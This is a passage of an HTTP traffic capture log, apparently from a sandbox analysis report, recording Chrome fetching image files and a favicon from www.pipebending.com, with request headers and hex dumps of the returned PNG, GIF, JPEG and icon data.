00 00 00 00 00 00 00 00 01 01 01 01 01 01 f9 f9 f9 f6 f6 f6 fc fc fc 00 00 00 f6 f6 f6 00 00 00 02 02 02 00 00 00 fd fd fd fa fa fa fc fc fc 00 00 00 f9 f9 f9 f7 f7 f7 ee ee ee 36 36 36 e6 e6 e6 ed ed ed 9f 9f 9f 76 76 76 2f 2f 2f 1b 1b 1b ea ea ea 98 98 98 dc dc dc 6e 6e 6e bc bc bc ab ab ab f4 f4 f4 ef ef ef e9 e9 e9 18 18 18 e1 e1 e1 89 89 89 85 85 85 d1 d1 d1 4b 4b 4b c5 c5 c5 f5 f5 f5 f2 f2 f2 b4 b4 b4 d0 d0 d0 a2 a2 a2 b8 b8 b8 ea ea ea de de de e3 e3 e3 c7 c7 c7 89 89 89 5e 5e 5e 67 67 67 ec ec ec e4 e4 e4 bb bb bb 25 25 25 ec ec ec d7 d7 d7 b8 b8 b8 c9 c9 c9 c2 c2 c2 db db db d7 d7 d7 f9 f9 f9 30 30 30 d4 d4 d4 f4 f4 f4 86 86 86 25 25 25 b6 b6 b6 4a 4a 4a 3f 3f 3f 68 68 68 78 78 78 3a 3a 3a b1 b1 b1 52 52 52 cb cb cb 7d 7d 7d e5 e5 e5 93 93 93 d6 d6 d6 e1 e1 e1 15 15 15 70 70 70 0f 0f 0f 17 17 17 2c 2c 2c 59 59 59 f1 f1 f1 e1 e1 e1 70 70 70 ca ca ca 5c 5c 5c bd bd bd 4a 4a 4a e1 e1 e1 94 94 94 67 67 67 b6 b6 b6 37 37 37 3c 3c 3c ad ad ad a2 a2 a2 8d 8d 8d d1 d1 d1 5b 5b 5b 96 96 96 48 48 48 77 77 77 cc cc cc 61 61 61 52 52 52 14 14 14 ac ac ac d1 d1 d1 e2 e2 e2 7c 7c 7c c2 c2 c2 f4 f4 f4 17 17 17 5d 5d 5d 7f 7f 7f 4f 4f 4f 77 77 77 ec ec ec 94 94 94 72 72 72 44 44 44 b2 b2 b2 ce ce ce 96 96 96 aa aa aa 61 61 61 c3 c3 c3 a2 a2 a2 2f 2f 2f 7c 7c 7c 8f 8f 8f df df df cf cf cf e0 e0 e0 f8 f8 f8 8a 8a 8a 5b 5b 5b 8e 8e 8e 9a 9a 9a a7 a7 a7 aa aa aa 11 11 11 f8 f8 f8 c2 c2 c2 66 66 66 cb cb cb a0 a0 a0 cd cd cd 7a 7a 7a 55 55 55 5f 5f 5f 8a 8a 8a dd dd dd 48 48 48 c1 c1 c1 c4 c4 c4 e7 e7 e7 b0 b0 b0 c8 c8 c8 25 25 25 d6 d6 d6 db db db e0 5f 76 1f 00 00 00 cc 74 52 4e 53 00 08 07 09 03 05 06 59 01 02 0a 0c 04 0d 0e 0b 0f 11 10 12 14 15 13 16 17 19 18 1d 1c 1b 1f 1e 21 20 1a 58 58 58 22 57 23 25 24 59 56 57 26 57 55 52 2c 50 4f 3a 27 1b 19 4a 29 4c 21 44 3c 50 53 51 26 44 26 38 3c 2f 3d 53 52 36 40 31 39 4b 4f 4b 48 2b 23 33 4d 49 34 28 51 40 40 44 43 43 4b 55 24 4a 54 34 24 30 1b 28 2e 36 1a 41 22 49 23 4f 3b 44 47 28 25 18 20 17 31 50 46 35 39 2c 3a 1f 4d 2c 2a 42 1e 22 30 3f 36 48 2e 36 29 31 47 17 2b 24 41 43 50 27 2e 49 16 1e 20 30 2d 45 18 31 2d 35 4a 31 33 22 38 2c 2b 29 27 49 3b 4b 4d 30 1c 3b 3d 40 2d 0f 53 3b 1e 40 2b 24 32 21 20 39 3d 2e 36 23 42 3e 46 22 32 41 38 ea 13 9e 00 00 06 4a 49 44 41 54 68 de ad 5a f7 57 14 57 14 de d9 d9 d9 2c 5b 66 77 66 76 66 1b 5b 13 08 4b 93 66 10 01 11 62 c3 82 25 96 80 41 11 10 ec 46 63 89 2d 9a 18 bb 12 4b 7a ef bd f7 de 7b fe a9 bc 37 05 bd 4b 72 ce bb 4f e6 97 3d 70 ce 7c e7 bb f7 bb ef 7e f7 bd 79 2e d7 ff 3f 3e 9f af ac ac cc 73 fd 21 7f 91 ff b9 30 8f 89 e1 f1 04 25 c9 6b 3d 92 14 a4 40 38 18 Data Ascii: PNGIHDREdPLTE666vvv///nnnKKK^^^ggg%%%000%%%JJJ???hhhxxx:::RRR}}}ppp,,,YYYppp\\\JJJggg777<<<[[[HHHwwwaaaRRR\|\|\|]]]OOOwwwrrrDDDaaa///\|\|\|[[[fffzzzUUU___HHH%%%_vtRNSY! XXX"W#%$YVW&WUR,PO:'J)L!D<PSQ&D&8</=SR6@19KOKH+#3MI4(Q@@DCCKU$JT4$0(.6A"I#O;DG(% 1PF59,:M,*B"0?6H.6)1G+$ACP'.I 0-E1-5J13"8,+)'I;KM0;=@-S;@+$2! 9=.6#B>F"2A8JIDAThZWW,[fwfvf[Kfb%AFc-Kz{7KrO=p\|~y.?>s!0%k=@8
Apr 18, 2024 23:05:22.721478939 CEST	1289	IN	Data Raw: 02 e2 f1 10 04 b7 20 88 f4 11 04 37 41 22 38 18 18 1b c4 2d fa c3 81 40 88 3c 81 b0 5f 14 dc 84 0f 06 86 a2 48 5e c1 1f 08 c9 11 55 21 8f 1a 91 03 7e d1 ed 45 c1 38 20 b2 aa 45 f5 18 79 74 43 53 e5 80 0d c3 4e 25 e8 75 7f 77 0b 78 7e 56 22 04 46 Data Ascii: 7A"8-@<_H^U!~E8 EytCSN%uwx~V"Fx$SO[ 'b(!DBWC~@eeyL@[?dE(T\1!D'7Yjsb(VSHH!JZ7(I]1OD#
Apr 18, 2024 23:05:22.721493959 CEST	223	IN	Data Raw: 23 f5 3c 9d a9 a3 ed 66 ec c7 a1 f2 0f a4 b2 1d 33 48 da fd 2d a4 8e d7 82 52 79 b4 07 31 63 4c 56 ed 15 68 3f dd 45 47 e4 20 d3 f7 75 2b a0 2b bf db 2d d6 b1 9f 9c d3 ae d9 0e af ac 65 f8 37 4c ca 9c 5c 2a c1 2c f2 e4 e6 ff b7 2e 40 65 70 98 82 Data Ascii: #<f3H-Ry1cLVh?EG u++-e7L\,.@epe/`r~.O8(j\|.gRx^g~1,Ot!55]9(#QzDB\obobE4*mnPxsN8OIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49733	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.576735973 CEST	299	OUT	GET /images/background/ICPDF.gif HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.722122908 CEST	1228	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Wed, 26 Jan 2022 17:16:15 GMT ETag: "a000eb-3a7-5d67f5bfadb62" Accept-Ranges: bytes Content-Length: 935 Keep-Alive: timeout=5 Content-Type: image/gif Data Raw: 47 49 46 38 39 61 10 00 10 00 f7 00 00 00 00 00 10 10 10 63 63 63 6b 6b 6b de ce ce de d6 d6 de de de de e7 e7 e7 29 29 e7 31 31 e7 39 42 e7 42 42 e7 4a 4a e7 52 5a e7 5a 5a e7 63 63 e7 6b 6b e7 73 73 e7 7b 7b e7 84 84 e7 8c 8c e7 9c 9c e7 ad ad e7 b5 b5 e7 b5 bd e7 bd bd ef 39 39 ef 42 4a ef 52 52 ef 5a 5a ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 2c 00 00 00 00 10 00 10 00 00 08 8c 00 3f 08 14 40 b0 60 c1 01 03 04 2a 04 60 a0 80 81 86 0f 0b 04 f0 10 e0 83 00 00 18 33 6a 34 30 91 a2 00 0f 20 43 86 64 98 31 c0 47 91 22 19 46 34 a9 b1 a5 ca 87 15 05 be 2c c0 c0 c2 43 88 31 3f bc 34 a0 a0 c2 cd 86 39 77 22 88 f0 93 e3 c2 9b 15 08 50 80 f0 33 e8 43 02 0e 2c 5c 48 a0 60 41 83 0b 4e 0d 4c 58 40 41 c2 05 0b 14 1e 30 70 ea 60 41 51 03 04 32 04 85 c0 80 40 c4 a2 41 1b 14 75 78 33 67 80 bb 78 f3 e2 0d 08 00 3b Data Ascii: GIF89accckkk))119BBBJJRZZZcckkss{{99BJRRZZ,?@`*`3j40 Cd1G"F4,C1?49w"P3C,\H`ANLX@A0p`AQ2@Aux3gx;
Apr 18, 2024 23:05:22.850699902 CEST	298	OUT	GET /images/background/home.jpg HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.995450974 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Last-Modified: Thu, 10 Dec 2020 19:59:02 GMT ETag: "de09e3-5194b-5b6219b770d80" Accept-Ranges: bytes Content-Length: 334155 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff e1 00 a2 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 06 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 56 01 1b 00 05 00 00 00 01 00 00 00 5e 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 15 00 00 00 66 87 69 00 04 00 00 00 01 00 00 00 7c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 50 69 78 65 6c 6d 61 74 6f 72 20 50 72 6f 20 32 2e 30 2e 31 00 00 00 02 a0 02 00 04 00 00 00 01 00 00 06 40 a0 03 00 04 00 00 00 01 00 00 02 5c 00 00 00 00 ff e1 09 99 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 36 2e 30 2e 30 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 30 2d 31 32 2d 31 30 54 31 39 3a 35 38 3a 32 39 5a 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 50 69 78 65 6c 6d 61 74 6f 72 20 50 72 6f 20 32 2e 30 2e 31 22 2f 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: JFIFHHExifMM*V^(1fi\|HHPixelmator Pro 2.0.1@\http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmp:MetadataDate="2020-12-10T19:58:29Z" xmp:CreatorTool="Pixelmator Pro 2.0.1"/> </rdf:RDF> </x:xmpmeta>
Apr 18, 2024 23:05:22.995472908 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Apr 18, 2024 23:05:22.995543003 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
Apr 18, 2024 23:05:22.995559931 CEST	1289	IN	Data Raw: 97 6f f3 d7 3d 69 1a f7 f5 fe bb 7f 5d f7 16 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 1b 81 90 40 39 ff 00 3d 7e 9f 5e 7a e1 b1 f2 82 e5 57 4f af f5 fd 6d ae fa 58 52 cc dd 4e 30 7e bf d1 47 e4 0e 7d b1 f3 37 26 f7 7f a7 f5 fd 77 27 91 7f 5d Data Ascii: o=i]((@9=~^zWOmXRN0~G}7&w']m>o10<rx?4z51/.\|=>-P@\|VjF:&y6!'._xbF<{^*T[x5C^.RU
Apr 18, 2024 23:05:22.995575905 CEST	1289	IN	Data Raw: f1 c7 41 8f e6 18 03 42 14 77 6f 9c 88 fc be 24 c0 cf f8 1e fe f9 e9 dc 9a 00 92 3f bf fe af cb 1c f1 fe 73 d7 eb db f1 60 01 d3 f8 fc bf f3 f5 fe 9b 7d bd a8 02 9b c7 b3 fe 59 f3 f9 7f 8f f3 3f 87 45 00 ae eb f3 99 3f 20 7e bf 4f d7 8f f7 78 05 Data Ascii: ABwo$?s`}Y?E? ~OxI;u{=AItr?#O??(~I@tOt^\|?AAoPG9^nLZ\|?=
Apr 18, 2024 23:05:22.995592117 CEST	1289	IN	Data Raw: e6 7f a7 d3 9a cc a8 ab 2d 77 6f f1 7f 37 fa 6b d3 54 3a 82 82 80 0a 00 44 23 93 80 c7 b0 3c 01 c7 e7 f9 1f cc 9a 6a c9 ab ad 3b 7f 56 fe bb ec 43 4e 5e 5e 5d bf 18 dd f9 df ee fb 4b ea 7b ff 00 9e a6 8b bf eb af af 7f 9f ea 2e 4d 3c fd 2c be fe Data Ascii: -wo7kT:D#<j;VCN^^]K{.M<,w'(s;[dtZ{(x\?1?jMuZ+{j.][#_O5_{i((A8?~A%/;%o
Apr 18, 2024 23:05:22.995616913 CEST	1289	IN	Data Raw: 0a 00 fd 64 f8 2d f1 c1 35 2b 9b 7b 47 93 12 47 67 00 78 ff 00 5f 45 ea 7d c7 e4 7e 5e ba 55 7f cb 57 ff 00 03 6e db 7a 35 f0 f8 d8 ac 2f 9f fc 1f fc 96 d6 e9 ad fb e8 ee a5 f7 86 87 ab a5 e4 31 dc c3 24 3f bc ff 00 96 7f 53 e9 9e df 5f cf 96 5f Data Ascii: d-5+{GGgx_E}~^UWnz5/1$?S__R75y?3yy<{ZNj?Ks4KZ?O:`zM=~g9ew?p1cqF?
Apr 18, 2024 23:05:22.995634079 CEST	1289	IN	Data Raw: 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 01 a5 b1 d4 1f d0 7f f1 7f c9 7f 5c 50 4b 95 b7 4f d7 4f fe db f2 8f Data Ascii: (((((((((\PKOOuP@P@P@P@P@P@P@P@P+rzczjM_V?[/W/G#n>\!oVum(XwF{7&
Apr 18, 2024 23:05:22.995651960 CEST	1289	IN	Data Raw: 8e d4 aa f9 25 a5 bf e0 bf f3 5c bb 7c 3a be 59 fc 73 e0 07 f0 de 93 6f 67 e1 2b cf 18 5e 78 cf 47 d4 bc ac 68 d0 6a 13 d8 cf 3c f6 f9 d4 bf b4 ad ae 3f e5 cf f0 fc f2 29 1a 1e 37 e2 0f 87 17 97 7a be 87 77 e2 ab fd 5e d3 c4 17 90 c1 1a 6a 17 58 Data Ascii: %\\|:Ysog+^xGhj<?)7zw^jXr.n[s_5WkC<Ywh2[~9=hhfcn&HdI,ahhJxcRFfagygjZ-8gOPs
Apr 18, 2024 23:05:22.995671034 CEST	1289	IN	Data Raw: ad ee fd 67 f0 b7 c3 d3 58 5e 78 93 43 bf f1 05 9d dd bd e4 3e 5e 9f a8 5a fd 9e ca 7b 28 27 ff 00 af 7f c7 8e 7f 5c 2b 33 fe bf af eb f3 3d 42 c7 e1 bf 8d 7c 30 fa 7f 8d bc 31 79 0f 8a 2f 34 b8 7e cb 26 8f 6b aa db c1 e7 f9 ff 00 f2 f3 73 cf fa Data Ascii: gX^xC>^Z{('\+3=B\|01y/4~&ksf3w5sH\|=h0_7Z~\|b^_1V}n6=M.m:z\|?'CM\y_;w}7RxRE ?_g
Apr 18, 2024 23:05:22.995707035 CEST	1289	IN	Data Raw: d3 8c 7f 1d 00 57 77 d9 f7 24 ff 00 b6 9e a3 e9 d7 a7 b9 3e dc e5 40 2b fd ab ef bf 99 f4 c7 ff 00 5c fd 3a fe 7f c1 5c e7 40 79 cb b0 7f cb 4c 91 f3 f5 c7 bf 6e 9f 41 fa 15 60 08 de 6d 87 63 ff 00 cb 33 d3 db 3f 5f 53 fe cf eb 9a 00 cb 92 6d ff Data Ascii: Ww$>@+\:\@yLnA`mc3?_SmLN@)g~1?.MWJ?tq@?~+/>?&7sx'T?dsGnhAcW?cMOp1iO)^$
Apr 18, 2024 23:05:24.336066961 CEST	467	OUT	GET /favicon.ico HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1292361290.1713474322; _gat_gtag_UA_122036208_1=1; _gat_gtag_UA_208681781_1=1; _ga_R4TNS2YF4N=GS1.1.1713474322.1.0.1713474322.0.0.0; _ga=GA1.1.900391258.1713474322
Apr 18, 2024 23:05:24.481057882 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:24 GMT Server: Apache Last-Modified: Tue, 10 Jul 2018 17:38:27 GMT ETag: "9e0c95-10be-570a898fbaac0" Accept-Ranges: bytes Content-Length: 4286 Vary: Accept-Encoding Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: image/x-icon Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 10 00 00 c3 0e 00 00 c3 0e 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fe ff e5 eb fa ff b8 c9 f3 ff 8c a8 ed ff 6f 93 e8 ff 5f 86 e6 ff 56 81 e5 ff 56 81 e5 ff 5f 86 e6 ff 6f 93 e8 ff 8c a8 ed ff b8 ca f3 ff e4 eb fb ff fd fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fe ff ff dc e4 f9 ff 9c b4 ef ff 6b 90 e8 ff 57 81 e5 ff 53 7e e5 ff 53 7e e5 ff 53 7f e5 ff 54 7f e5 ff 54 7f e5 ff 53 7f e5 ff 53 7e e5 ff 53 7e e5 ff 57 81 e5 ff 6b 90 e8 ff 9d b5 ef ff dc e5 f9 ff fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f3 fc ff a8 bd f1 ff 64 8b e7 ff 52 7d e5 ff 53 7e e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 53 7e e5 ff 52 7d e5 ff 64 8b e7 ff a8 bd f1 ff f0 f3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff df e6 f9 ff 82 a1 eb ff 54 7f e5 ff 53 7e e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 53 7e e5 ff 54 7f e5 ff 81 a0 eb ff df e6 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d7 e1 f8 ff 72 95 e9 ff 52 7d e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 52 7d e5 ff 71 94 e9 ff d7 e0 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff df e6 f9 ff 71 94 e9 ff 52 7d e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 52 7d e5 ff 72 95 e9 ff df e6 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f3 fc ff 82 a1 eb ff 52 7d e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 52 7d e5 ff 82 a1 eb ff f0 f3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff a8 bd f1 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff Data Ascii: ( @ o_VV_okWS~S~STTSS~S~WkdR}S~TTTTTTTTTTS~R}dTS~TTTTTTTTTTTTTTS~TrR}TTTTTTTTTTTTTTTTTTR}qqR}TTTTTTTTTTTTTTTTTTTTR}rR}TTTTTTTTTTTTTTTTTTTTTTR}TTTTTT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49735	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.637603998 CEST	287	OUT	GET /images/logo.jpg HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
